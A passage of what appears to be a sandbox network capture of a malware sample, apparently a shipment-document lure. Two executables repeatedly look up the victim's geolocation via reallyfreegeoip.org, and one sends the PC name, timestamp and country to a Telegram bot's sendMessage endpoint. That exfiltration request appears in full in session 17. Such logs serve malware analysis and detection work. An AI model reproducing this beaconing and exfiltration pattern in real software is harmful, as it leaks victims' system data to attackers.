2024-10-11 07:35:24 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-11 07:35:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49750	188.114.96.3	443	8136	C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 07:35:24 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-11 07:35:24 UTC	704	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:24 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 5 Last-Modified: Fri, 11 Oct 2024 07:35:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U12Xq6ZMVpQSVkjhg5A%2F5JshIhSl%2FaQJRJD8iRWtJSqsOXq6DVzoKHYHEU992ZUT3DBxxnk2lVfkKTrdrBCJ4sz22PuEOPnU5d%2BTTdKNlL5MZXRlNxbRi%2Bm8z3ub5WgmvF5MZ0A3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0d2c5afff117f5-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 07:35:24 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-11 07:35:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49753	188.114.96.3	443	7768	C:\Users\user\Desktop\rShipmentDocuments.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 07:35:25 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-11 07:35:25 UTC	704	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:25 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 6 Last-Modified: Fri, 11 Oct 2024 07:35:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sVRzsZaw26Rx%2BpAc4uwryu1aSCcBSMEY4d%2BzDmMWo1ohwwdLmUuJ47tbENWtz%2FjWDNRlbZuzhqffkvnFVMOpn9td83wz5c2Atd2iQgTWex8Hx0C7qiMrW3yB85vVM2yUYXFBX%2Bu0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0d2c60e8224332-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 07:35:25 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-11 07:35:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49754	188.114.96.3	443	8136	C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 07:35:25 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-11 07:35:25 UTC	708	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:25 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 6 Last-Modified: Fri, 11 Oct 2024 07:35:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2knROu7JeUScCbI0QTafNHWxBLA578GjshF6pS%2FhD5VsCrXd4T3TUHyN5I0%2FTX1HoM%2B%2BG6q7pSdFKJmm%2B3jSBg5IIqvKTPZ4OuEsNdxhKILLE543wHRpm3xCzMnPE2v22fB5KK%2B7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0d2c62e8631801-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 07:35:25 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-11 07:35:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49757	188.114.96.3	443	7768	C:\Users\user\Desktop\rShipmentDocuments.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 07:35:26 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-11 07:35:26 UTC	700	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:26 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 7 Last-Modified: Fri, 11 Oct 2024 07:35:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=agjrrytN4dpaAaTI6GlkrOOJLH49MHAb65%2FkKAzej0lu2g3qnDyewjWs1fNlRbIr0sjsMexmh3F9vfJcNCXd1cWO14WTcIN6qXIgVZnh89iMVsq%2B1ysWWi3CDMBPW3vycU0JOwMl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0d2c6908a80f4a-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 07:35:26 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-11 07:35:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49758	188.114.96.3	443	8136	C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 07:35:27 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-11 07:35:27 UTC	714	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:27 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 8 Last-Modified: Fri, 11 Oct 2024 07:35:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xs875S9agr60f5ve1VDggC%2BCDRAK%2F2yERs93wxA0Bw89OAyvxwub25iAIGxtaUgC1iwaCa6AinhYT%2B2Xqo6vGrvxKNT64UpKRMl%2B4%2Bp%2BGVB6c%2BXf%2B%2FCwqlHc85h7Kvb13uMViS3j"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0d2c6baa548c6f-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 07:35:27 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-11 07:35:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49761	188.114.96.3	443	7768	C:\Users\user\Desktop\rShipmentDocuments.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 07:35:28 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-11 07:35:28 UTC	712	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:28 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 9 Last-Modified: Fri, 11 Oct 2024 07:35:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ov29A6nBB1qG8EvlPdLf%2Bvameea%2FDBhzDK2s9qtdT5KTsisrlgZBCbWF%2BA7%2Fj%2BWO7ZCKEcxQ%2BpwORvDja2pejQET3YGpo3mz5vMxan48vU1l5MactXNHBXyYw%2By5ocg3b%2F5rITNJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0d2c716dbcc470-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 07:35:28 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-11 07:35:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49762	188.114.96.3	443	8136	C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 07:35:28 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-11 07:35:28 UTC	702	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:28 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 9 Last-Modified: Fri, 11 Oct 2024 07:35:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1s7caMhoiznEbiQE0BGBfzjcRAHgiWnQ1x7ExL3Upk8UrQ6Kt%2BPZfUors4blJZNiPASSKRTmh7eWS6nWSxInqsnPOlkIbvehyEHcmvS2HttKrUU7dxwTskGGQJIehghm%2FDRo%2FIOY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0d2c73dcd0430d-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 07:35:28 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-11 07:35:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49765	188.114.96.3	443	7768	C:\Users\user\Desktop\rShipmentDocuments.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 07:35:29 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-11 07:35:29 UTC	709	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:29 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10 Last-Modified: Fri, 11 Oct 2024 07:35:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bhz2tgo34ckvT9jvaHr9jZyaBqtcg%2F3NG638sNoKymwLTvACNQikuBue%2BQmg8Vk39S2S6BZ5%2BMhEI4H4d2Z3d8xESsNuIOYUukT%2ByADP4aTj%2BdLR9ceOr1DYtl1CPuyjUusf8tlB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0d2c796a574309-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 07:35:29 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-11 07:35:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49766	188.114.96.3	443	8136	C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 07:35:29 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-11 07:35:29 UTC	699	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:29 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10 Last-Modified: Fri, 11 Oct 2024 07:35:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X9DHG9H0fFDRFG5zmqFwTKJrFqdpiCuOO50DsuZdq7BcabZr6hJNVlCwx3vJE9hWRuMsfwHBIZW6cR%2FOUYDNinbflDjN83ieYatNRCjVx9SnTBtIuIoL84xWnRv52J1bawg2EYnd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0d2c7c29dcc411-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 07:35:29 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-11 07:35:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49767	149.154.167.220	443	7768	C:\Users\user\Desktop\rShipmentDocuments.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 07:35:30 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:301389%0D%0ADate%20and%20Time:%2011/10/2024%20/%2015:40:15%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20301389%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-10-11 07:35:30 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Fri, 11 Oct 2024 07:35:30 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-10-11 07:35:30 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49770	188.114.96.3	443	8136	C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 07:35:31 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
